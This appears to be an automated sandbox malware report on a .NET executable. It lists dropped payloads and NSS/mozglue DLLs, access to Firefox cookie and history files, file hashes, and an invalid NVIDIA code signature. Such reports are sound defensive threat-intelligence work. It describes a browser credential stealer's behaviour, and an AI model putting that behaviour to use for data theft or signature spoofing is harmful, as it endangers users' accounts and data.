SSDEEP:	6144:dgqIdwwbWbN7Ps3jMJ1iCQNj2AFG5aFOcOIYcg8dWwkUf+OYEO:hNOjMD7QNSAgaFOj+GTEO
MD5:	2832FBDE1CF7EA83BD6FD6A4A5E8FE15
SHA1:	1CED7A749D257091E0C3B75605FD3BC005E531DE
SHA-256:	2B8BCD9D7D072FEB114E0436DC10AA80FDA52CDD46A4948EA1AE984F74898375
SHA-512:	C69F1197A0C74D057AB569D35C9AF675FC465CE6ABCC6C8FC32B316D3586871A426D7AB904C43827BE7413748F0F45F7F3689076CA031FD858A4A8ABF78B9299
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?(.f............................N.... ... ....@.. .......................`............`.....................................K.... ..................(&...@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H........................................................................tLq-~..S..I..9..........R.....{.d..lo.53. ..B.Lf.5...b#.8F.x..i.u.ue.+....(.uy.q..~...8.}#.....x.RN..J........_.l~..20....,.Z.E....#...i......w.H..............D.....Fc...../..\|.*.w.....o....2...J..<..A(...f.Rn.J....J.5...:.........u.Hb($.G..G.x.x!....J,...i..4....8.\G......"[x..d....Y..<.v.......~.<.]..V<.gX.F..............&......p.Z.....j.x.A.`z..."[..."}..%)...!..".)69E.... G..4

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2afc5abea_vasd[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	414248
Entropy (8bit):	7.989507251331655
Encrypted:	false
SSDEEP:	12288:XY1HgTKqPXxbx28l1ukOy325R4RQMJnJ9w6EO:XY1AtPB0KwkU5GRnJnxt
MD5:	38DABC7063C0A175A12C30BD44CF3DBC
SHA1:	6D7AABEBD8A417168E220C7497F4BC38C314DA3B
SHA-256:	DE664956D799E59E1CCA0788D545922EE420E3AFDCF277442F148F52BC78DF89
SHA-512:	674760AD37CF7886CA4CD786E4D1966D3827FDAD008A85A125E18BD474D073DAE8D4296427253BB86E78D3173A300611EE5EB2E01C1F968700679350FC17A24D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\(.f................."..........N@... ...`....@.. ....................................`..................................@..K....`...............,..(&...........>............................................... ............... ..H............text...T ... ...".................. ..`.rsrc........`.......$..............@..@.reloc.............................@..B................0@......H.........................................................................;.8.`..w.........r.b..... ..C.GA..~zxF.c.@Qe..8.....8$..a...N..!Q.4f...\.....d..a..e94...^Q8f.v....w.W..wH.kQ...,..3.A$#...P....)..S..o...b+gY.\o.....5.m.)..2.t.5.C..&z7....-.D...q!.....o........W2F...n;..~.9.....q4.l.V...O.p.l..m}.'...:.E..../%2..._..g...=.7.......m.......0^.hc..z$..c..s.?..`t6..@..BM......."vC.;'+d...>.V.[.I..H%"......w.E.....Y.....F.c........M...t..\.Q1.Dw

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2b049020f_ldnf[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	380456
Entropy (8bit):	7.9883686543767505
Encrypted:	false
SSDEEP:	6144:8fOvdyqg2KXl14yNqwMabVNsVcyJZ3fJD1L3jqUGVfJgujH5J6I/W7CXVd7Lffp2:6Eg1XlqyNFN4cshD1KdVWI/W7CFd7LfE
MD5:	32C2E31313C3DF4A7A36C72503A5BEBA
SHA1:	1C88051112DAB0E306CADD9EE5D65F8DC229F079
SHA-256:	F1FA2872FCD33C6DBCE8D974C0C0381C0762D46A53CEACA14A29727AD02BAEF3
SHA-512:	EE04D786E53F7FA203DBC4F8C018C72A907DABBD2D1C57E219B2CCC2DBD9D79A4EE8580B98F9B5C5024E628C0207CDD2BF93B9468E457F4EE00326C7C689F1AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../(.f............................N.... ........@.. ....................................`.....................................K.......................(&.......................................................... ............... ..H............text...T.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................0.......H.......................................................................@X.15..Q..T.w{...........v^."....S...0Zo..X......\|.....o...AS..D...n..E.e...5_.0.....E....A.....;....$.3.Z.!h;.%....r;G..u...R...$'.9....V..7.O?.C..:....\|...,`2vq.2t.X/.g=^n(...?%N....g...Q.%.%..Iro.0...H.f..w+^...c...i../.'...F.........FR.E.t....+v.7S.g...3.....}.(...H...).u!_5...Yb...t...j.#.*J..z.^..x..i.H.....xT.V.F.c~..h..5...;..N..U..f...8c.?...K.ca}x..5.Uy{n.J..^...3h...%.\|....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.2318272874720075
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wx13C+t6kdlWOszUVMnfBrErV4rk/0kOp+ENJ/iHu/eGE/8d6y:vpmGSGwS+zlWOszrfurKrE0keTUeDWi
MD5:	EF8872DBB1E0DE26C4DAADB4E2BA1231
SHA1:	3D2931ACBF70418C2E5D997EFB92191A0AA1C370
SHA-256:	3C3473CD478011EF47A57B88EC6FDA2427C944085BBB929BBDE6ED88BA4CD624
SHA-512:	68AAFDCA48C3830D035FECEC97FECFBE11F7691561E53CD9B8C126BC0A9675056F807869F6248AD9E3D8F6DCF0A5D7CE8355490AEC7E2A09376AC0673A6392C4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\sql[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\66fa2afc5abea_vasd[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	414248
Entropy (8bit):	7.989507251331655
Encrypted:	false
SSDEEP:	12288:XY1HgTKqPXxbx28l1ukOy325R4RQMJnJ9w6EO:XY1AtPB0KwkU5GRnJnxt
MD5:	38DABC7063C0A175A12C30BD44CF3DBC
SHA1:	6D7AABEBD8A417168E220C7497F4BC38C314DA3B
SHA-256:	DE664956D799E59E1CCA0788D545922EE420E3AFDCF277442F148F52BC78DF89
SHA-512:	674760AD37CF7886CA4CD786E4D1966D3827FDAD008A85A125E18BD474D073DAE8D4296427253BB86E78D3173A300611EE5EB2E01C1F968700679350FC17A24D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\(.f................."..........N@... ...`....@.. ....................................`..................................@..K....`...............,..(&...........>............................................... ............... ..H............text...T ... ...".................. ..`.rsrc........`.......$..............@..@.reloc.............................@..B................0@......H.........................................................................;.8.`..w.........r.b..... ..C.GA..~zxF.c.@Qe..8.....8$..a...N..!Q.4f...\.....d..a..e94...^Q8f.v....w.W..wH.kQ...,..3.A$#...P....)..S..o...b+gY.\o.....5.m.)..2.t.5.C..&z7....-.D...q!.....o........W2F...n;..~.9.....q4.l.V...O.p.l..m}.'...:.E..../%2..._..g...=.7.......m.......0^.hc..z$..c..s.?..`t6..@..BM......."vC.;'+d...>.V.[.I..H%"......w.E.....Y.....F.c........M...t..\.Q1.Dw

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\66fa2b049020f_ldnf[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	380456
Entropy (8bit):	7.9883686543767505
Encrypted:	false
SSDEEP:	6144:8fOvdyqg2KXl14yNqwMabVNsVcyJZ3fJD1L3jqUGVfJgujH5J6I/W7CXVd7Lffp2:6Eg1XlqyNFN4cshD1KdVWI/W7CFd7LfE
MD5:	32C2E31313C3DF4A7A36C72503A5BEBA
SHA1:	1C88051112DAB0E306CADD9EE5D65F8DC229F079
SHA-256:	F1FA2872FCD33C6DBCE8D974C0C0381C0762D46A53CEACA14A29727AD02BAEF3
SHA-512:	EE04D786E53F7FA203DBC4F8C018C72A907DABBD2D1C57E219B2CCC2DBD9D79A4EE8580B98F9B5C5024E628C0207CDD2BF93B9468E457F4EE00326C7C689F1AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../(.f............................N.... ........@.. ....................................`.....................................K.......................(&.......................................................... ............... ..H............text...T.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................0.......H.......................................................................@X.15..Q..T.w{...........v^."....S...0Zo..X......\|.....o...AS..D...n..E.e...5_.0.....E....A.....;....$.3.Z.!h;.%....r;G..u...R...$'.9....V..7.O?.C..:....\|...,`2vq.2t.X/.g=^n(...?%N....g...Q.%.%..Iro.0...H.f..w+^...c...i../.'...F.........FR.E.t....+v.7S.g...3.....}.(...H...).u!_5...Yb...t...j.#.*J..z.^..x..i.H.....xT.V.F.c~..h..5...;..N..U..f...8c.?...K.ca}x..5.Uy{n.J..^...3h...%.\|....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Non-ISO extended-ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:Xv:/
MD5:	686EEA758CB79CAD5EEB31BF0629261C
SHA1:	BD05F54C385C95C1EF8B8015A6C30234E7982026
SHA-256:	5D7AD056679C10C00E73E3E88358072B340EF10C7ABB7F5E20E16A55AB731D03
SHA-512:	C482A40CACC71FDA4CE65C95D613AA952F1F5480F55871EF263426E2D73D245E964BF82A4468048E1A571B78FCAA76549B33FA40EFFBCDFD482BAF03C045834A
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.989798975139829
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	414'248 bytes
MD5:	3c9241d0ce97c159d6cfaa49f602fafd
SHA1:	3a0320d338544496cb2ed6952d52e740c7f25d03
SHA256:	a73c4d134f180b9f4047f9be94f3f36b3a2e34469f8c90f70d964778efdc6adc
SHA512:	e7a86d0e92be6c741d53e505d712034f24cc9951fbb0015e6c46b97399eaa358c216de63930728fc1ca7edaaf3ceca3ed1dcab0e1c7bf0c384ba78d22615e9d4
SSDEEP:	12288:Dpn81p29d9YRhTe4kashZFxfNvJKXZYDJEO:1Sp29d9YRhi4kasRxfNxfJt
TLSH:	7C94234677978684FE1C5E369193E7B3217BF2848117CBFF148941698AA63D03ED392C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(.f................."..........N@... ...`....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x46404e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FA281C [Mon Sep 30 04:25:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 01:00:00 17/01/2026 00:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
